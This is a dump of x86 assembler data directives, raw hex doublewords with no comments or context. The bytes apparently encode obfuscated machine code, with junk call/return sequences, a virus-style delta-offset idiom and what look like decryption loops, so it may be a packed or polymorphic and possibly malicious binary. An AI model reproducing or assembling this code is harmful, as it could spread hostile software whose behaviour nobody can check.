dd 0C082F08Bh, 0B7341FAEh, 196BF660h, 8BECAB64h, 3510B9BDh
dd 0D22B5F09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 35C35646h, 2DBD9D8Bh, 33AD0935h, 3E8D1C2h, 4E983D0h
dd 0BD03F475h, 93522CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 0D0C35747h, 0CE969h, 2D110000h, 0A5FB6A5Ah
dd 0F129392Bh, 880DD0E6h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B82C356h
dd 8E96C93h, 5C000000h, 4F2AA7B8h, 8BD9B8CEh, 35162995h
dd 59D8B09h, 8B09351Ch, 35287D8Dh, 0C28B5009h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF57C352h
dd 399D8B39h, 6609352Dh, 2455EF81h, 27798531h, 0BD830935h
dd 9351249h, 7E840F00h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B50CC356h
dd 0B96660h, 0BD03608Dh, 9350D35h, 800Fh, 61610000h, 0B8h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 1324D99Eh, 28D8D71h, 0E909354Ch, 0Dh, 1E7039F0h
dd 5D681917h, 0E254889Eh, 0E8E1FF97h, 8, 4F9B87E3h, 5B4148A9h
dd 55BD835Bh, 93522h, 514840Fh, 9D290000h, 93525EDh, 8A585660h
dd 0BD8361D7h, 9352255h, 16840F01h, 6A000005h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 89D0C351h, 97871FB7h, 0FE9h, 0E1987200h, 71A91689h
dd 0AAF980B4h, 0BD436BF0h, 2255BD83h, 0F030935h, 49E86h
dd 8D295200h, 9350875h, 6A605Fh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 319BC1C3h, 0D98C668Eh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A1C35343h
dd 0E180628Eh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0DD9D33ECh, 66093521h
dd 3002EF81h, 840FC90Ah, 1D1h, 0D32084BFh, 61858B0Dh, 8B09352Bh
dd 351B69BDh, 7D853309h, 8009350Dh, 0B390F5EFh, 0AE8505Ch
dd 0D000000h, 0A2E123EAh, 0C7EF673Bh, 5FD98B8Ch, 0AE890h
dd 0F0310000h, 54FC81C8h, 4108FA86h, 22D98D89h, 6A5B0935h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 419F8AEAh, 954F37C0h, 4E830h, 3FF0000h
dd 0E960001Fh, 12h, 3BD170F2h, 27FFBD8Ch, 863CE51Ah, 5DCF7112h
dd 0E860112Bh, 8, 41F79C57h, 0FAB024E8h, 615E5658h, 0DE95061h
dd 0B9000000h, 9DEB8C09h, 0C2C7E587h, 6FB8D4E4h, 424448Bh
dd 7E9h, 39DC6800h, 6A52B1C4h, 0E950008Bh, 13h, 2BFE659Fh
dd 40DE0CB8h, 530F0D18h, 0C145FF2Bh, 5B111BFFh, 4244489h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0FBD541BAh, 9D31081Eh, 9350B01h, 0CDD95FFh
dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0ED8D9FC3h, 0C55174C8h, 6053E7D5h, 10E98D8Bh
dd 0DE90935h, 60000000h, 586CAD71h, 0CE4D0EB0h, 0F54E830Eh
dd 85895B61h, 938B76Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 3EC35545h, 67BF6607h, 0E95F57D3h, 240h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 37C35343h
dd 45F6E2ADh, 0C502B502h, 6840Fh, 0BD8B0000h, 935226Dh
dd 27959589h, 0E9560935h, 14h, 0C295F1B6h, 4AFBE19Ah, 1B0E560Fh
dd 24481636h, 7A31AF90h, 67858B5Fh, 6A0938B7h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 2903C353h, 0BF9A33ABh, 27A6202Eh, 0C7FFBF0Fh, 1800h
dd 3890F00h, 66000000h, 0B58BF98Bh, 938B76Bh, 10458D29h
dd 858B0935h, 93524D5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 78C35040h, 81666EC6h, 89768CE7h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 71B77B2Ah, 259D9D8Bh, 858B0935h, 9352B61h, 86CB8166h
dd 13EF8165h, 89100BF4h, 8D890446h, 9352F25h, 1D81BF96h
dd 0BF505FB5h, 525FBC16h, 0F9850996h, 0FF093527h, 38B767B5h
dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 1B3EDB50h, 0F5BA846h, 9D01DEB7h, 9351169h
dd 2AC9F968h, 0A8CEBF90h, 4814E3Ch, 0F43A0624h, 52006A6Fh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0B4FE0463h, 892A6C97h, 350D3DB5h, 6F858D09h, 6A0938B7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 1B16C350h, 8E0801FEh, 2A34CB81h, 0BF0F2C60h
dd 0CE950F8h, 82000000h, 0AE520D2Dh, 0B4A38119h, 895736BAh
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0C36D21C3h, 891FE24Ch, 352C51B5h, 0F98B6609h
dd 0CDD95FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 3886B2C3h, 0E8F56EEFh, 0Bh, 0B158E376h
dd 7877B49Eh, 891D00A1h, 352E4585h, 60605F09h, 80D38B66h
dd 516175C4h, 6C99D89h, 615F0935h, 0C19D8961h, 0F093523h
dd 0C81h, 7E900h, 1EC0000h, 0FD8765EEh, 5585C791h, 3093522h
dd 8B000000h, 350AC19Dh, 6FBD8309h, 938B7h, 2D840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 27E9B5C3h, 89000000h, 35048DBDh, 0A1B58909h, 50093517h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 0BF0FC08Bh, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 7684D123h, 0B59D31D1h
dd 29093524h, 3511C5B5h, 55BD8309h, 3093522h, 4C0850Fh
dd 8F0F0000h, 6, 21F59D8Bh, 0BD830935h, 938B76Fh, 0A7840F00h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8B90C350h, 351F999Dh, 6FB5FF09h
dd 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 631FC355h, 1195FFF5h, 6A09352Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 8981C350h, 0DE8h, 0F8523F00h, 0F7460024h
dd 8F13BA3Bh, 8501E1B6h, 93523C9h, 138A0F5Fh, 0E9000000h
dd 0Eh, 0C8778480h, 71C17F1Eh, 2B0EA65Ch, 0B58BB428h
dd 938B763h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0ECC35141h, 21B27C78h, 7DBD01E8h, 0C7093504h, 1000106h
dd 0D58D2900h, 6609352Dh, 6650D98Bh, 890AE0BFh, 0DE92434h
dd 7C000000h, 32BEF332h, 0D22C47EDh, 0E321CF85h, 0B76FB5FFh
dd 6A0938h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 83DD74C3h, 0CC8354E7h, 95FFDF8Bh, 9350289h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h
dd 8B95878Dh, 38B763B5h, 3EB35609h, 99858B5Bh, 6A09350Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0AEF5C356h, 0A59D033Ah, 89093510h, 0C486h
dd 8DB58900h, 8B093516h, 29958BFEh, 1093516h, 351655B5h
dd 0A1BD8B09h, 8309352Dh, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 7A31AFC3h, 69C073AAh
dd 5089DC8Ah, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 5A02C8DBh, 8BEF3989h, 351069BDh
dd 7858D09h, 890938CCh, 35035DB5h, 0FB8B6609h, 0B88689h
dd 0BD0B0000h, 9352CC9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 1E80E3C3h, 9D893327h
dd 9352C51h, 0B76FB5FFh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0FB583DC3h, 311238B3h
dd 3523B585h, 1EE78109h, 8B0E1E08h, 5195FFD8h, 6A093511h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0C67EC355h, 51686D84h, 816652D1h, 5B8A7FE7h
dd 0F4BF6696h, 7E850A6h, 13000000h, 7FB3D0C7h, 820F1E4Ch
dd 3, 5FFE8B66h, 0E9BD8B96h, 0FF09351Ah, 38B76FB5h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0CFF529C5h, 979CF791h, 0BD014BE4h, 9350B81h, 0B5595FFh
dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 6833E1C3h, 0C3A563E7h, 0BD83A3C4h, 9350079h
dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 5920C352h, 990DAA14h
dd 0A7364A90h, 665050F5h, 895BDE8Bh, 6A2434h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 204F1CC3h
dd 0B76FB5FFh, 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0BDDFE7C3h, 8166D3C0h, 0FFA954EFh
dd 351C3595h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 54A1049Ch, 89C710D5h, 3529C98Dh
dd 0FFFE8B09h, 38B76FB5h, 0E595FF09h, 6A09352Ch, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 91F7C356h, 0DC83E48Fh, 258D89CAh, 66093512h, 0BAAFDF81h
dd 26BDBD83h, 0F020935h, 7184h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 858B01BCh
dd 93526ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0F6C35242h, 0DE6040Bh, 6A0000C6h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0D620C350h
dd 2B7811B8h, 81F64562h, 738861EBh, 85C7F831h, 9353265h
dd 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2FC35040h
dd 0BFAA1367h, 3386F84Eh, 0D8E966B7h, 6AFFFFF1h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 2668C357h, 8BDA8B9Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 4E3B2BEFh, 0F60E73Dh
dd 9D8BC9BFh, 9350A81h, 85BD8961h, 8D093527h, 35265985h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0F3367ED4h, 0A5BD8962h, 8B09352Fh, 351C1DBDh
dd 0F605009h, 84h, 4896100h, 0DF8B6624h, 11E9006Ah, 0F6000000h
dd 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h, 8D01006Ah
dd 9351161h, 0F529858Dh, 0B70F0939h, 5C083FFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 22C35242h, 0B5EF713h
dd 1611BD89h, 13E80935h, 70000000h, 896288Dh, 2AF7FF0Dh
dd 7AEFC43Fh, 9B9ABCF8h, 0BF66ED10h, 905BB614h, 50503AB3h
dd 0AE952h, 0A0310000h, 24ECE74Bh, 4AAA9B84h, 0AE9310Fh
dd 0C7000000h, 6D94D052h, 58686EB8h, 90585ABCh, 0AFD9D8Bh
dd 6A0935h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0DAC35141h, 129C4440h, 0D98B081Fh, 6A006Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 40E29FC3h, 0FAEB3FCh, 95FFFEB7h, 9350331h, 1179BD8Bh
dd 13E90935h, 0E4000000h, 172E4980h, 2D359E9h, 3D97BBC3h
dd 8A7CB036h, 8D8DA491h, 9389AABh, 0D8DBD8Bh, 0D1FF0935h
dd 1C19BD83h, 0F010935h, 8685h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 2D146ACDh
dd 6AF88B66h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0E46E1C21h, 0B5858970h, 8B09352Eh
dd 3506259Dh, 60605009h, 0CABF6160h, 610B2DA0h, 6015B966h
dd 24048961h, 949CCB81h, 95FF2587h, 9351151h, 12E9h, 0B28D0200h
dd 0B24CF3C8h, 871B05D1h, 0C1911183h, 0E9D39C13h, 0D78h
dd 0E8h, 0ED815D00h, 939F533h, 25BD9D29h, 0F8510935h, 0F53535Bh
dd 83h, 8D5B5F00h, 38932B85h, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 568B19C8h
dd 0AABF6672h, 0DE9D6h, 0C9E60000h, 32D2B3D5h, 0A2C494F9h
dd 5022A780h, 9D3BBFBBh, 24048936h, 6456EF80h, 35FFh, 0B5890000h
dd 9352609h, 258964h, 0E9000000h, 0Bh, 41217D89h, 0F4AFAD72h
dd 0FF47EA49h, 35300985h, 0B1B58909h, 6A093525h, 0B5FFF8FFh
dd 9350041h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0A5C35646h, 4B028BB5h, 6890FF9h, 8B000000h, 352B859Dh
dd 0B995FF09h, 0E909352Eh, 117h, 9E8h, 16E98A00h, 6BDF25C9h
dd 0BD8B1BB0h, 9351161h, 0B00B05Fh, 35319DBDh, 0BB70E609h
dd 0FE138D4h, 816071E4h, 607507E8h, 13E947h, 95C70000h
dd 6C80A1F8h, 0F4A5BA5Dh, 891926CFh, 1F30917Eh, 830F6146h
dd 6, 2415BD8Bh, 613C0935h, 0BD830Fh, 0FA8B0000h, 128D8D89h
dd 0B60F0935h, 6BAC8h, 95090000h, 9352EA1h, 0C1F9C18Bh
dd 0BD8B04E8h, 9351039h, 89E2F766h, 35006DBDh, 66C82B09h
dd 8B3969BFh, 95BD89D1h, 0E909351Fh, 7Fh, 4C44858Bh, 0B5895F4Ch
dd 9352405h, 5E9h, 71F3700h, 0C083F0A9h, 0EE907h, 4C2C0000h
dd 70582CB5h, 0F700FBE7h, 57F87BC5h, 8900C083h, 3516199Dh
dd 0FD03B09h, 0E83h, 0E9D88B00h, 3Bh, 1800Fh, 8BF50000h
dd 0FFFFFF8Dh, 0BD9D8BFFh, 83093502h, 840F01E1h, 1Fh, 2B00D381h
dd 0A58377B8h, 0FFFFFFFFh, 45BB66FEh, 0DFBF0F0Fh, 4C449589h
dd 0E95F4Ch, 8D000000h, 396C02B5h, 2DBD8B09h, 6A093501h
dd 7E900h, 5BEB0000h, 0CFD8485Ah, 2995FFBAh, 0B9093508h
dd 1005h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 79C35141h, 5B4EF101h, 611F01DFh, 0C8D8501h, 0E1830935h
dd 1D9D89FCh, 0FC09350Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 96C35343h, 0F5BB6605h, 60C02BBDh, 8D89E88Ah
dd 9351219h, 0BA61h, 0CE90000h, 62000000h, 50AC2C69h, 6898037Fh
dd 0AD0EE9D2h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0FC6C356h, 0E780DABFh, 880DE9h, 9E90000h, 8000000h
dd 607E76DBh, 0E6D7EF37h, 1629958Bh, 6A0935h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A2655BC3h
dd 287D8D8Bh, 9E90935h, 0F7000000h, 0EEAE6159h, 16AAEF74h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 467C0CC3h, 4C561D4Bh, 1AB34127h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0D6C35646h, 49BD83CBh, 93512h
dd 7A840Fh, 9D330000h, 9351B1Dh, 0B8h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 99679504h, 0A149DD0Ah, 37EF80A7h, 4C028D8Dh, 6A0935h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0E5617EC3h, 6AE1FF71h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 1217C351h, 53D73278h
dd 2255BD83h, 0F000935h, 40D84h, 18D8900h, 83093505h, 352255BDh
dd 840F0109h, 415h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0BBC35242h, 52B792B4h, 2255BD83h, 0F030935h
dd 3B286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 8F71D240h, 818CBFC4h, 353C62DBh
dd 198D890Ch, 60093505h, 10E9h, 39E03700h, 9BAC4500h, 49AB6F72h
dd 0B251AB97h, 0D98C66A4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0A8C35141h, 0DBBF0F52h, 6A04E180h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 91EBC351h, 0D0D8B31Bh, 0FC90ADAh, 10A84h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 633BAEA4h, 0CE9h, 5A966A00h, 55DD3E45h, 1C9FAFDEh, 61858B8Ch
dd 6A09352Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 8837C355h, 11540D27h, 0D7D8533h
dd 0C7810935h, 2F68FE8Fh, 0EE950h, 704C0000h, 0B0FEE8ABh
dd 36A02634h, 0D4688AFDh, 8B240489h, 3502D99Dh, 0FB8B6609h
dd 0BF60006Ah, 762C5A84h, 1880Fh, 61F90000h, 0B7C5A368h
dd 2E62BB3Dh, 3481731Eh, 0A8C65C24h, 51006A3Dh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FE091CEh
dd 283h, 8BFB8B00h
dd 0DD95FFDFh, 8909350Ch, 38B76F85h, 1D1E909h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0D76405C3h, 0E3BFC105h, 0BD8BAB73h, 93502C9h, 8BFB8B66h
dd 38B76785h, 1800C709h, 0E8000000h, 12h, 52AAD3A1h, 0DA8DBAF5h
dd 27D97379h, 7873C204h, 9D89EDADh, 9350D3Dh, 6BB58B5Bh
dd 6A0938B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 6458C357h, 0B92D76F8h, 3DBD8944h
dd 8B093500h, 3524D585h, 51858909h, 8909350Bh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 315E7D54h, 0FE59D23h, 858B0935h, 9352B61h, 6E9h, 0EC454000h
dd 994E482h, 35269995h, 4468909h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 31C35141h, 17CD1675h, 0D5618EBEh
dd 0A51BD89h, 0BD0B0935h, 9352E45h, 0FE8B6650h, 89243489h
dd 3516AD95h, 67B5FF09h, 0B70938B7h, 6CBF6646h, 82266812h
dd 60607F34h, 0CBB96160h, 610031F8h, 61CE8B66h, 0D9243481h
dd 6A7F2B81h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 653EC352h, 65AEE617h, 0BF661447h
dd 0BF0F8121h, 6F858DD8h, 330938B7h, 3500459Dh, 0D98B6609h
dd 5E990h, 0DD710000h, 503C9D7Eh, 0BE8h, 9A542000h, 0F53CE243h
dd 0AC811804h, 905FF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0D2C35747h, 61E00F04h, 5B3F87B7h, 0DD95FF3Eh
dd 0E909350Ch, 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h
dd 7E01DC50h, 61D1C4D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0C3C35747h, 80AC3008h, 85C73AD7h, 9352255h
dd 3, 0BD89DF8Bh, 9352951h, 0B76FBD83h, 0F000938h, 2E84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 541A94C7h, 21E1BB66h, 21E9h, 159D0900h
dd 50093528h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 0BD8BC08Bh, 9350CE9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0BBC35343h, 12E8h, 7AE2C900h
dd 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 5F88E366h, 11699589h
dd 0BD830935h, 9352255h, 0A9850F03h, 6A000004h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0B590C357h, 0E9F46208h, 12h, 0ECDDBF1Bh, 2EAF277Ah
dd 87D3AC9Dh, 722CE70Bh, 0BD8312EAh, 938B76Fh, 65840F00h
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 8428C357h, 704DDB81h, 0B5FF7B0Fh
dd 938B76Fh, 0FFFABF0Fh, 352E1195h, 418D8909h, 8B09351Fh
dd 38B763B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0A9A6D195h, 56D61E61h, 106C75Bh
dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0CDBC356h, 0C3813913h, 68E0F80h
dd 1000000h, 3516C985h, 0DE89609h, 2E000000h, 69EFC990h
dd 49A07FB7h, 713B040Eh, 505B0CB3h, 53006A96h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 80345AEFh
dd 0E9907979h, 0Bh, 44CB1029h, 0F4F0CDB9h, 0FFA73728h
dd 38B76FB5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 5B3E1B56h, 0F9E5252Fh, 28995FFh
dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0BC1E47C3h, 0F99D0340h, 2B09350Fh, 3523F19Dh
dd 63B58B09h, 6A0938B7h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0F310C351h, 335BD8Bh
dd 0BD8B0935h, 9351DE9h, 0E99858Bh, 810F0935h, 6, 23619589h
dd 86890935h, 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 71C35747h, 0BD896060h, 9351B0Dh, 8B6129B4h
dd 35162995h, 0CD8D8909h, 83093502h, 6A04C2h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 95FD4C3h
dd 35333985h, 499D8B09h, 8909352Fh, 6A2050h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 6A31BFC3h
dd 7A279F80h, 7858DC0h, 6A0938CCh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0AB49C350h
dd 8689FC93h, 0B8h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0C59408C3h, 1DBD8BFAh
dd 0FF093506h, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0FF44F157h
dd 2B6BD8A4h, 0BE917h, 0D0920000h, 600A0A54h, 0FAA4D1C3h
dd 0CF81669Eh, 0D88A54A7h, 115195FFh, 6A0935h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0CDF93DC3h, 0DCCDEDB0h, 66CB8166h, 0C8D0F3Dh, 0F000000h
dd 68Ah, 81BD8B00h, 5009352Eh, 14E8h, 8ADB7C00h, 0D0209206h
dd 16BD2DB2h, 2F8F6245h, 99B2A489h, 0F52506Fh, 0F1BF6631h
dd 5B585ACBh, 0F243489h, 0B5FFFBB7h, 938B76Fh, 0B5595FFh
dd 0BB600935h, 7356FD69h, 0A2C4BF66h, 79BD8361h, 93500h
dd 5B840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 549A67C3h, 96CC4D74h, 953158E4h
dd 93505C9h, 3890F50h, 66000000h, 3489DF8Bh, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 42C8198h, 4F7192B1h, 6FB5FFAFh, 800938B7h, 95FFB7F7h
dd 9351C35h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 9C35646h, 0D91F29EFh, 12B99531h, 0B5FF0935h, 938B76Fh
dd 0BE9h, 0AA2D6100h, 0F05199ECh, 0C50CD5A8h, 2CE595FFh
dd 9D290935h, 9351269h, 26BDBD83h, 0F020935h, 5484h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0E8607CADh, 0Eh, 9CAF8572h, 844C0DAFh, 0EF014F03h, 0F18B0271h
dd 0DB50359h, 61093530h, 26AD858Bh, 89570935h, 351E019Dh
dd 0B5295F09h, 93502B1h, 8B0000C6h, 6585C7FAh, 93532h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0A34FC351h, 50342A6Ah, 0FFF36AE9h
dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 81EFD13Ch, 8BFFF5D9h, 6BF66DFh, 6AC18B34h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0EFF0C356h, 0FAB70FF6h, 2659858Dh, 23B70935h
dd 0E8605190h, 14h, 7CC52E47h
dd 73C413C9h, 3B021BBAh, 83F5B507h, 5BE3673Fh, 61616059h
dd 85B3505Fh, 11E990h, 0CBC20000h, 0F092B60Eh, 5BEFC63h
dd 4EAC0232h, 6A713868h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0D3FBB850h, 0AE97D24h
dd 34000000h, 37FDE565h, 50CD1962h, 6A006A36h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 19EBC350h, 765565E4h, 0BB97D800h, 36CCB35Dh, 54D858Dh
dd 6A093Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0F862AAC3h, 0E805C083h, 0Dh, 0DE89B9C8h
dd 0AD1DE0BBh, 462F880h, 89505B1Fh, 0B70F2404h, 6A006AFEh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 86F5C353h, 3A5480F9h, 8BFB1998h, 3504B5BDh
dd 719D3309h, 6A093501h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0B8F71D32h, 668513B8h
dd 58F0FBEh, 66000000h, 1DEBC381h, 33195FFh, 9E80935h
dd 62000000h, 569254F8h, 0FB13A6ABh, 2F9D9529h, 8D5F0935h
dd 389AAB8Dh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
